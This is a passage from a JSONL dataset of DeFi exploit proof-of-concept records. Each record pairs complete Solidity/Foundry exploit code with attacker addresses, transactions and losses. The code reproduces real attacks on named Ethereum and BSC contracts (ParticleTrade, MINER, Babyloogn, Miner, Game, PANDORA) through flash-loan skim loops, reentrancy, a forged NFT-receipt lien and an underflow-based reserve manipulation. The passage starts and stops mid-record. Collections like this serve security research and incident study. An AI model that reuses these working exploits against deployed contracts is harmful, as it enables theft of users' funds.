balance);\n\n struct Lien {\n address lender; // NFT supplier address\n address borrower; // NFT trade executor address\n address collection; // NFT collection address\n uint256 tokenId;\n /// NFT ID (@dev: at borrower bidding, this field is used to store margin)\n uint256 price; // NFT supplier's desired sold price\n uint256 rate; // APR in bips, _BASIS_POINTS defined in MathUtils.sol\n uint256 loanStartTime; // loan start block.timestamp\n uint256 auctionStartTime; // auction start block.timestamp\n }\n}\n\ncontract ContractTest is Test {\n address zero = 0x0000000000000000000000000000000000000000;\n IParticleExchange proxy = IParticleExchange(0x7c5C9AfEcf4013c43217Fb6A626A4687381f080D);\n address Azuki = 0xB6a37b5d14D502c3Ab0Ae6f3a0E058BC9517786e;\n address Reservoir = 0xC2c862322E9c97D6244a3506655DA95F05246Fd8;\n address ParticleExchange = 0xE4764f9cd8ECc9659d3abf35259638B20ac536E4;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n address ownerofaddr = address(proxy);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 19_231_445);\n cheats.label(address(proxy), \"proxy\");\n cheats.label(address(Azuki), \"Azuki\");\n cheats.label(address(ParticleExchange), \"ParticleExchange\");\n cheats.label(address(Reservoir), \"Reservoir\");\n }\n\n function testExploit() public {\n payable(zero).transfer(address(this).balance);\n emit log_named_decimal_uint(\"Attacker Eth balance before attack:\", address(this).balance, 18);\n uint256 tokenId = 50_126_827_091_960_426_151;\n uint256 tokenId2 = 19_231_446;\n (uint256 lienId) = proxy.offerBid(address(this), uint256(0), uint256(0), uint256(0));\n IParticleExchange.Lien memory lien = IParticleExchange.Lien({\n lender: zero,\n borrower: address(this),\n collection: address(this),\n tokenId: 0,\n price: 0,\n rate: 0,\n loanStartTime: 0,\n auctionStartTime: 0\n });\n uint256 amount = 0;\n bytes memory bytecode = (abi.encode(lien, lienId, amount, Reservoir, zero, \"0x\"));\n proxy.onERC721Received(zero, zero, tokenId, bytecode);\n\n IParticleExchange.Lien memory lien2 = IParticleExchange.Lien({\n lender: zero,\n borrower: address(this),\n collection: address(this),\n tokenId: tokenId,\n price: 0,\n rate: 0,\n loanStartTime: block.timestamp,\n auctionStartTime: 0\n });\n\n bytes memory bytecode2 = (abi.encode(lien2, lienId, amount, Reservoir, zero, \"0x\"));\n ownerofaddr = address(proxy);\n proxy.onERC721Received(zero, zero, tokenId2, bytecode2);\n\n proxy.accountBalance(address(this));\n proxy.withdrawAccountBalance();\n\n emit log_named_decimal_uint(\"Attacker Eth balance after attack:\", address(this).balance, 18);\n }\n\n function ownerOf(\n uint256 tokenId\n ) external returns (address owner) {\n return ownerofaddr;\n }\n\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata _data) external {\n ownerofaddr = address(0);\n return;\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "ParticleTrade", "date": "2024-02", "file_name": "ParticleTrade_exp.sol", "attack_vector": null, "content_hash": "a9ac3d0b2d200448", "collected_at": "2026-01-07T10:59:16.514573", "_source": "postmortems", "chain": "ethereum", "block_number": 19231445, "total_lost_raw": "~50 $ETH", "total_lost_usd": 50.0, "attacker_address": "https://etherscan.io/address/0x2c903f97ea69b393ea03e7fab8d64d722b3f5559", "attack_contract": "https://etherscan.io/address/0xe55607b2967ddbe5fa9a6a921991545b8277ef8f", "vulnerable_contract": "https://etherscan.io/address/0xe4764f9cd8ecc9659d3abf35259638b20ac536e4", "attack_tx": "https://etherscan.io/tx/0xd9b3e229acc755881890394cc76fde0d7b83b1abd4d046b0f69c1fd9fd495ff6", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~50 $ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n payable(zero).transfer(address(this).balance);\n emit log_named_decimal_uint(\"Attacker Eth balance before attack:\", address(this).balance, 18);\n uint256 tokenId = 50_126_827_091_960_426_151;\n uint256 tokenId2 = 19_231_446;\n (uint256 lienId) = proxy.offerBid(address(this), uint256(0), uint256(0), uint256(0));\n IParticleExchange.Lien memory lien = IParticleExchange.Lien({\n lender: zero,\n borrower: address(this),\n collection: address(this),\n tokenId: 0,\n price: 0,\n rate: 0,\n loanStartTime: 0,\n auctionStartTime: 0\n });\n uint256 amount = 0;\n bytes memory bytecode = (abi.encode(lien, lienId, amount, Reservoir, zero, \"0x\"));\n proxy.onERC721Received(zero, zero, tokenId, bytecode);\n\n IParticleExchange.Lien memory lien2 = IParticleExchange.Lien({\n lender: zero,\n borrower: address(this),\n collection: address(this),\n tokenId: tokenId,\n price: 0,\n rate: 0,\n loanStartTime: block.timestamp,\n auctionStartTime: 0\n });\n\n bytes memory bytecode2 = (abi.encode(lien2, lienId, amount, Reservoir, zero, \"0x\"));\n ownerofaddr = address(proxy);\n proxy.onERC721Received(zero, zero, tokenId2, bytecode2);\n\n proxy.accountBalance(address(this));\n proxy.withdrawAccountBalance();\n\n emit log_named_decimal_uint(\"Attacker Eth balance after attack:\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~50 $ETH", "keyinfo_attacker": "https://etherscan.io/address/0x2c903f97ea69b393ea03e7fab8d64d722b3f5559", "keyinfo_attack_contract": "https://etherscan.io/address/0xe55607b2967ddbe5fa9a6a921991545b8277ef8f", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xe4764f9cd8ecc9659d3abf35259638b20ac536e4", "keyinfo_attack_tx": "https://etherscan.io/tx/0xd9b3e229acc755881890394cc76fde0d7b83b1abd4d046b0f69c1fd9fd495ff6", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$50", "content_richness_score": 8.23, "quality_estimate": "high", "title": "ParticleTrade Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~3.5 WBNB\n// Attacker : https://bscscan.com/address/0x031958a8137745350549fd95055398dd536a07c7\n// Attack Contract : https://bscscan.com/address/0xc9716ec1b0503316233e3bcc50853f0df6befd43\n// Vulnerable Contract : https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e\n// Attack Tx : https://bscscan.com/tx/0x15ab671c9bf918fa4b6a9eed9ccb527f32aca40e926ede2aec2c84dfa9c30512\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ncontract MINER is BaseTestWithBalanceLog {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address dodo = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;\n\n IERC20 Miner = IERC20(0x7C0BFb9fF0aF660D76fb2bd8865E9b49ff033045);\n IPancakePair Pair = IPancakePair(0x2BA9d4a8C41C60B71ff7Df2c3F54B008644b954e);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 36_111_183 - 1);\n }\n\n function testExploit() public {\n Miner.approve(address(Router), type(uint256).max);\n WBNB.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(10 * 1e18, 0, address(this), abi.encode(0x3078));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(Miner);\n uint256[] memory amounts =\n Router.swapTokensForExactTokens(10 * 1e12, baseAmount, path, address(this), block.timestamp);\n\n uint256 index = 1;\n // transfer to pair and skim\n while (index <= 50) {\n uint256 balance = Miner.balanceOf(address(this));\n Miner.transfer(address(Pair), balance);\n Pair.skim(address(Pair));\n index++;\n }\n\n // end while loop, swap back\n Pair.swap(0, 3_500_751_853_374_879_579, address(this), \"\");\n WBNB.transfer(dodo, 10 * 1e18);\n }\n}\n", "type": "exploit_poc", "protocol": "MINER_bsc", "date": "2024-02", "file_name": "MINER_bsc_exp.sol", "attack_vector": "flash_loan", "content_hash": "d6f2b2f39e71b48c", "collected_at": "2026-01-07T10:59:16.514620", "_source": "postmortems", "chain": "bsc", "block_number": 36111183, "total_lost_raw": "~3.5 WBNB", "total_lost_usd": 3.5, "attacker_address": "https://bscscan.com/address/0x031958a8137745350549fd95055398dd536a07c7", "attack_contract": "https://bscscan.com/address/0xc9716ec1b0503316233e3bcc50853f0df6befd43", "vulnerable_contract": "https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e", "attack_tx": "https://bscscan.com/tx/0x15ab671c9bf918fa4b6a9eed9ccb527f32aca40e926ede2aec2c84dfa9c30512", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~3.5 WBNB", "category": "flash-loan", "exploit_code": "function testExploit() public {\n Miner.approve(address(Router), type(uint256).max);\n WBNB.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(10 * 1e18, 0, address(this), abi.encode(0x3078));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~3.5 WBNB", "keyinfo_attacker": "https://bscscan.com/address/0x031958a8137745350549fd95055398dd536a07c7", "keyinfo_attack_contract": "https://bscscan.com/address/0xc9716ec1b0503316233e3bcc50853f0df6befd43", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x2ba9d4a8c41c60b71ff7df2c3f54b008644b954e", "keyinfo_attack_tx": "https://bscscan.com/tx/0x15ab671c9bf918fa4b6a9eed9ccb527f32aca40e926ede2aec2c84dfa9c30512", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$4", "content_richness_score": 8.26, "quality_estimate": "high", "title": "MINER_bsc Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~2.24 $WBNB\n// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502\n// Attack Contract : https://bscscan.com/address/0x3559ee265fc9c5c9a333b07e0199480b4a84f369\n// Vulnerable Contract : https://bscscan.com/address/0x971d08bba900230298add23e61e04b04226b5073\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xd081d6bb96326be5305a6c00dd51d1799971794941576554341738abc1ceb202\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IBabyloognAirdrop {}\n\ninterface IBabyloognNFT {\n function setApprovalForAll(address operator, bool approved) external;\n}\n\ninterface IBabyloogn {\n function approve(address spender, uint256 amount) external;\n function balanceOf(\n address account\n ) external view returns (uint256);\n}\n\ncontract ContractTest is Test {\n event TokenBalance(string key, uint256 val);\n\n IBabyloogn Babyloogn = IBabyloogn(0x7fe5fAF242015Cf769Ae7feA565B96351Dd957A2);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IBabyloognAirdrop Airdrop = IBabyloognAirdrop(0x971d08bbA900230298ADD23e61E04B04226b5073);\n IBabyloognNFT BabyloognNTF = IBabyloognNFT(0x5eb47C41FC9BEcf123C9E484C51de37830842AdD);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 36_159_516 - 1);\n vm.label(address(Babyloogn), \"Babyloogn\");\n vm.label(address(Airdrop), \"Airdrop\");\n vm.label(address(BabyloognNTF), \"BabyloognNTF\");\n }\n\n function testExploit() public {\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n Babyloogn.approve(address(Router), type(uint256).max);\n BabyloognNTF.setApprovalForAll(address(Airdrop), true);\n\n while (Babyloogn.balanceOf(address(Airdrop)) >= 285 * 1e18) {\n (bool success,) = address(Airdrop).call(abi.encodeWithSelector(bytes4(0xfbe81135), 1, 0));\n }\n\n TOKENTOWBNB();\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n }\n\n function TOKENTOWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(Babyloogn);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n Babyloogn.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Babyloogn", "date": "2024-02", "file_name": "Babyloogn_exp.sol", "attack_vector": null, "content_hash": "3385651e7a8a7e38", "collected_at": "2026-01-07T10:59:16.514667", "_source": "postmortems", "chain": "bsc", "block_number": 36159516, "total_lost_raw": "~2.24 $WBNB", "total_lost_usd": 2.24, "attacker_address": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "attack_contract": "https://bscscan.com/address/0x3559ee265fc9c5c9a333b07e0199480b4a84f369", "vulnerable_contract": "https://bscscan.com/address/0x971d08bba900230298add23e61e04b04226b5073", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0xd081d6bb96326be5305a6c00dd51d1799971794941576554341738abc1ceb202", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~2.24 $WBNB", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n Babyloogn.approve(address(Router), type(uint256).max);\n BabyloognNTF.setApprovalForAll(address(Airdrop), true);\n\n while (Babyloogn.balanceOf(address(Airdrop)) >= 285 * 1e18) {\n (bool success,) = address(Airdrop).call(abi.encodeWithSelector(bytes4(0xfbe81135), 1, 0));\n }\n\n TOKENTOWBNB();\n emit log_named_uint(\"Attacker WBNB balance before attack\", WBNB.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~2.24 $WBNB", "keyinfo_attacker": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "keyinfo_attack_contract": "https://bscscan.com/address/0x3559ee265fc9c5c9a333b07e0199480b4a84f369", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x971d08bba900230298add23e61e04b04226b5073", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0xd081d6bb96326be5305a6c00dd51d1799971794941576554341738abc1ceb202", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2", "content_richness_score": 7.31, "quality_estimate": "medium", "title": "Babyloogn Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.24;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~140 $ETH\n// Attacker : https://etherscan.io/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba\n// Attack Contract : https://etherscan.io/address/0xbff51c9c3d50d6168dfef72133f5dbda453ebf29\n// Vulnerable Contract : https://etherscan.io/address/0x732276168b421d4792e743711e1a48172ea574a2\n// Attack Tx : https://etherscan.io/tx/0x75e3aeb00df69882a1b15d424e5e642650326ca3b923d7fd1922d57c51bc2c78\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1757777340002681326\n\ninterface IMinerUNIV3POOL {\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external;\n}\n\ninterface IMiner {\n function transferFrom(address from, address to, uint256 value) external;\n function transfer(address to, uint256 value) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function uri(\n uint256 id\n ) external view returns (string memory);\n}\n\ncontract ContractTest is Test {\n address attacker = 0xea75AeC151f968b8De3789CA201a2a3a7FaeEFbA;\n IMinerUNIV3POOL pool = IMinerUNIV3POOL(0x732276168b421D4792E743711E1A48172EA574a2);\n IMiner MINER = IMiner(0xE77EC1bF3A5C95bFe3be7BDbACfe3ac1c7E454CD);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n // evm_version Requires to be \"shanghai\"\n cheats.createSelectFork(\"mainnet\", 19_226_508 - 1);\n cheats.label(address(MINER), \"MINER\");\n cheats.label(address(pool), \"MINER_Pool\");\n cheats.label(address(WETH), \"WETH\");\n }\n\n function testExploit() public {\n emit log_named_uint(\"Attacker ETH balance before exploit\", WETH.balanceOf(address(this)));\n cheats.startPrank(attacker);\n MINER.transfer(address(this), MINER.balanceOf(attacker));\n MINER.balanceOf(address(this));\n cheats.stopPrank();\n\n bool zeroForOne = false;\n int256 amountSpecified = 999_999_999_999_999_998_000;\n uint160 sqrtPriceLimitX96 = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_340;\n bytes memory data = abi.encodePacked(uint8(0x61));\n pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);\n emit log_named_uint(\"Attacker ETH balance affter exploit\", WETH.balanceOf(address(this)));\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n MINER.balanceOf(address(this));\n for (uint256 i = 0; i < 2000; i++) {\n MINER.transfer(address(pool), 499_999_999_999_999_999);\n MINER.transfer(address(this), 499_999_999_999_999_999);\n }\n }\n}\n", "type": "exploit_poc", "protocol": "Miner", "date": "2024-02", "file_name": "Miner_exp.sol", "attack_vector": null, "content_hash": "56c52ef75aebfc6c", "collected_at": "2026-01-07T10:59:16.514713", "_source": "postmortems", "chain": "ethereum", "block_number": 19226508, "total_lost_raw": "~140 $ETH", "total_lost_usd": 140.0, "attacker_address": "https://etherscan.io/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba", "attack_contract": "https://etherscan.io/address/0xbff51c9c3d50d6168dfef72133f5dbda453ebf29", "vulnerable_contract": "https://etherscan.io/address/0x732276168b421d4792e743711e1a48172ea574a2", "attack_tx": "https://etherscan.io/tx/0x75e3aeb00df69882a1b15d424e5e642650326ca3b923d7fd1922d57c51bc2c78", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~140 $ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Attacker ETH balance before exploit\", WETH.balanceOf(address(this)));\n cheats.startPrank(attacker);\n MINER.transfer(address(this), MINER.balanceOf(attacker));\n MINER.balanceOf(address(this));\n cheats.stopPrank();\n\n bool zeroForOne = false;\n int256 amountSpecified = 999_999_999_999_999_998_000;\n uint160 sqrtPriceLimitX96 = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_340;\n bytes memory data = abi.encodePacked(uint8(0x61));\n pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);\n emit log_named_uint(\"Attacker ETH balance affter exploit\", WETH.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~140 $ETH", "keyinfo_attacker": "https://etherscan.io/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba", "keyinfo_attack_contract": "https://etherscan.io/address/0xbff51c9c3d50d6168dfef72133f5dbda453ebf29", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x732276168b421d4792e743711e1a48172ea574a2", "keyinfo_attack_tx": "https://etherscan.io/tx/0x75e3aeb00df69882a1b15d424e5e642650326ca3b923d7fd1922d57c51bc2c78", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$140", "content_richness_score": 7.49, "quality_estimate": "medium", "title": "Miner Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~20 ETH\n// Attacker : https://etherscan.io/address/0x145766a51ae96e69810fe76f6f68fd0e95675a0b\n// Attack Contract : https://etherscan.io/address/0x8d4de2bc1a566b266bd4b387f62c21e15474d12a\n// Vuln Contract : https://etherscan.io/address/0x52d69c67536f55efefe02941868e5e762538dbd6\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x0eb8f8d148508e752d9643ccf49ac4cb0c21cbad346b5bbcf2d06974d31bd5c4\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1757533144033739116\n\ninterface IGame {\n function newBidEtherMin() external view returns (uint256);\n\n function makeBid() external payable;\n}\n\ncontract ContractTest is Test {\n IGame private constant Game = IGame(0x52d69c67536f55EfEfe02941868e5e762538dBD6);\n uint8 private reentrancyCalls;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_213_946);\n vm.label(address(Game), \"Game\");\n }\n\n function testExploit() public {\n // Start with 0.6 Ether balance\n deal(address(this), 0.6 ether);\n emit log_named_decimal_uint(\"Exploiter ETH balance before attack\", address(this).balance, 18);\n\n // Following amount will be returned multiple times in receive() function when exploiter make the bad bid\n uint256 bid = (address(this).balance * 49) / 100;\n Game.makeBid{value: bid}();\n\n makeBadBid();\n\n emit log_named_decimal_uint(\"Exploiter ETH balance after attack\", address(this).balance, 18);\n }\n\n receive() external payable {\n if (reentrancyCalls <= 109) {\n ++reentrancyCalls;\n makeBadBid();\n } else {\n return;\n }\n }\n\n function makeBadBid() internal {\n // newBidEtherMin() has logic error and thanks to this exploiter can bypass the require statement in makeBid()\n // require(msg.value > newBidEtherMin(), \"bid is too low\");\n uint256 badBid = Game.newBidEtherMin() + 1; // +1 because \"bid is too low\"\n Game.makeBid{value: badBid}();\n }\n}\n", "type": "exploit_poc", "protocol": "Game", "date": "2024-02", "file_name": "Game_exp.sol", "attack_vector": "reentrancy", "content_hash": "6536ccc066a9eca1", "collected_at": "2026-01-07T10:59:16.514756", "_source": "postmortems", "chain": "ethereum", "block_number": 19213946, "total_lost_raw": "~20 ETH", "total_lost_usd": 20.0, "attacker_address": "https://etherscan.io/address/0x145766a51ae96e69810fe76f6f68fd0e95675a0b", "attack_contract": "https://etherscan.io/address/0x8d4de2bc1a566b266bd4b387f62c21e15474d12a", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x0eb8f8d148508e752d9643ccf49ac4cb0c21cbad346b5bbcf2d06974d31bd5c4", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~20 ETH", "category": "reentrancy", "exploit_code": "function testExploit() public {\n // Start with 0.6 Ether balance\n deal(address(this), 0.6 ether);\n emit log_named_decimal_uint(\"Exploiter ETH balance before attack\", address(this).balance, 18);\n\n // Following amount will be returned multiple times in receive() function when exploiter make the bad bid\n uint256 bid = (address(this).balance * 49) / 100;\n Game.makeBid{value: bid}();\n\n makeBadBid();\n\n emit log_named_decimal_uint(\"Exploiter ETH balance after attack\", address(this).balance, 18);\n }\n\n receive() external payable {\n if (reentrancyCalls <= 109) {\n ++reentrancyCalls;\n makeBadBid();\n } else {\n return;\n }\n }", "has_exploit_code": true, "keyinfo_total_lost": "~20 ETH", "keyinfo_attacker": "https://etherscan.io/address/0x145766a51ae96e69810fe76f6f68fd0e95675a0b", "keyinfo_attack_contract": "https://etherscan.io/address/0x8d4de2bc1a566b266bd4b387f62c21e15474d12a", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x0eb8f8d148508e752d9643ccf49ac4cb0c21cbad346b5bbcf2d06974d31bd5c4", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$20", "content_richness_score": 7.07, "quality_estimate": "medium", "title": "Game Exploit (2024-02)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/eth/0x7c5a909b45014e35ddb89697f6be38d08eff30e7c3d3d553033a6efc3b444fdd\n// GUY : https://twitter.com/pennysplayer/status/1766479470058406174\n// Profit : ~17K USD\n// REASON : integer underflow\n\ninterface NoReturnTransferFrom {\n function transfer(address to, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function transferFrom(address sender, address recipient, uint256 amount) external;\n}\n\ncontract ContractTest is Test {\n IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n NoReturnTransferFrom constant PANDORA = NoReturnTransferFrom(0xddaDF1bf44363D07E750C20219C2347Ed7D826b9);\n Uni_Pair_V2 V2_PAIR = Uni_Pair_V2(0x89CB997C36776D910Cfba8948Ce38613636CBc3c);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() external {\n cheats.createSelectFork(\"mainnet\", 19_184_577);\n // deal(address(WETH), address(this), 0);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WETH before exploit\", WETH.balanceOf(address(this)), 18);\n uint256 pandora_balance = PANDORA.balanceOf(address(V2_PAIR));\n PANDORA.transferFrom(address(V2_PAIR), address(PANDORA), pandora_balance - 1);\n V2_PAIR.sync();\n (uint256 ethReserve, uint256 oldPANDORAReserve,) = V2_PAIR.getReserves();\n PANDORA.transferFrom(address(PANDORA), address(V2_PAIR), pandora_balance - 1);\n uint256 newPANDORAReserve = PANDORA.balanceOf(address(V2_PAIR));\n uint256 amountin = newPANDORAReserve - oldPANDORAReserve;\n uint256 swapAmount = amountin * 9975 * ethReserve / (oldPANDORAReserve * 10_000 + amountin * 9975);\n\n //swap PANDORA to WBNB\n V2_PAIR.swap(swapAmount, 0, address(this), \"\");\n emit log_named_decimal_uint(\"[End] Attacker WETH after exploit\", WETH.balanceOf(address(this)), 18);\n }\n}\n", "type": "exploit_poc", "protocol": "PANDORA", "date": "2024-02", "file_name": "PANDORA_exp.sol", "attack_vector": null, "content_hash": "c82b3a4c78ec242e", "collected_at": "2026-01-07T10:59:16.514801", "_source": "postmortems", "chain": "unknown", "block_number": 19184577, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.1, "quality_estimate": "low", "title": "PANDORA Exploit (2024-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~20 ETH\n// TX : https://app.blocksec.com/explorer/tx/eth/0xcf834aff4de9992f5da9c443600dad9c6277a8a00de5007842fece51564992db\n// Attacker : https://etherscan.io/address/0x24a0c66f185874b251eb70bee2c2e35e39848419\n// Attack Contract : https://etherscan.io/address/0x2ffdce5f0c09a8ee3a568bc01f35894b2d77a6d6\n// GUY : https://x.com/EXVULSEC/status/1753294675971313790\n\ninterface Ticket is IERC20 {\n function buyADC() external payable;\n function getRID() external view returns (uint256 rid_);\n}\n\ninterface MainPool {\n struct Player {\n //uint256 pID;\n uint256 ticketInCost; // how many eth can join\n uint256 withdrawAmount; // how many eth can join\n uint256 startTime; // join the game time\n uint256 totalSettled; // rturn funds\n uint256 staticIncome;\n uint256 lastCalcSITime; // last Calc staticIncome Time\n //uint256 lastCalcDITime; // last Calc dynamicIncome Time\n uint256 dynamicIncome; // last Calc dynamicIncome\n uint256 stepIncome;\n bool isActive; // 1 mean is 10eth,2 have new one son,3,\n bool isAlreadGetIns; // already get insePoolBalance income;\n }\n\n function joinGame(\n address parentAddr\n ) external payable;\n function calcStepIncome(uint256 pid_, uint256 value_, uint8 dividendAccount_) external;\n function withdraw() external;\n function getMainPoolWithdrawBalance(\n uint256 index\n ) external view returns (uint256);\n function getRID() external view returns (uint256 rid_);\n function mainPoolWithdrawBalance(\n uint256 index\n ) external view returns (uint256);\n function plyr(uint256 rid, uint256 pid) external view returns (Player memory);\n function plyrID(\n address _add\n ) external view returns (uint256);\n}\n\ncontract Exploit is Test {\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n Ticket tick = Ticket(0xaE2C7af5fc2dDF45e6250a4C5495e61afC7AcF50);\n MainPool mainpool = 